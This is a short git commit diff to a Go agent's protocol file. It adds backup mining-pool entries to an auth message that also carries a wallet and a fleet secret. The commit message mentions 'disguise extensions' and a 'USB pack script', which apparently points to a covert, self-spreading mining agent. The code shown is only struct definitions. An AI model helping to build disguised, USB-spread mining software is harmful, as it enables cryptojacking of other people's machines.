feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

agent/client/protocol.go

@@ -7,10 +7,19 @@ type Message struct {
 	Payload json.RawMessage `json:"payload"`
 }
 
+// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
+type BackupPoolEntry struct {
+	Host string `json:"host"`
+	Port int    `json:"port"`
+	TLS  bool   `json:"pool_tls"`
+	Pass string `json:"pass"`
+}
+
 type AuthPayload struct {
-	AgentID          string `json:"agent_id"`
-	FleetSecret      string `json:"fleet_secret"`
-	Wallet           string `json:"wallet"`
+	AgentID          string            `json:"agent_id"`
+	FleetSecret      string            `json:"fleet_secret"`
+	Wallet           string            `json:"wallet"`
+	BackupPools      []BackupPoolEntry `json:"backup_pools,omitempty"`
 	Version          string `json:"version"`
 	Hostname         string `json:"hostname"`
 	CPUCores         int    `json:"cpu_cores"`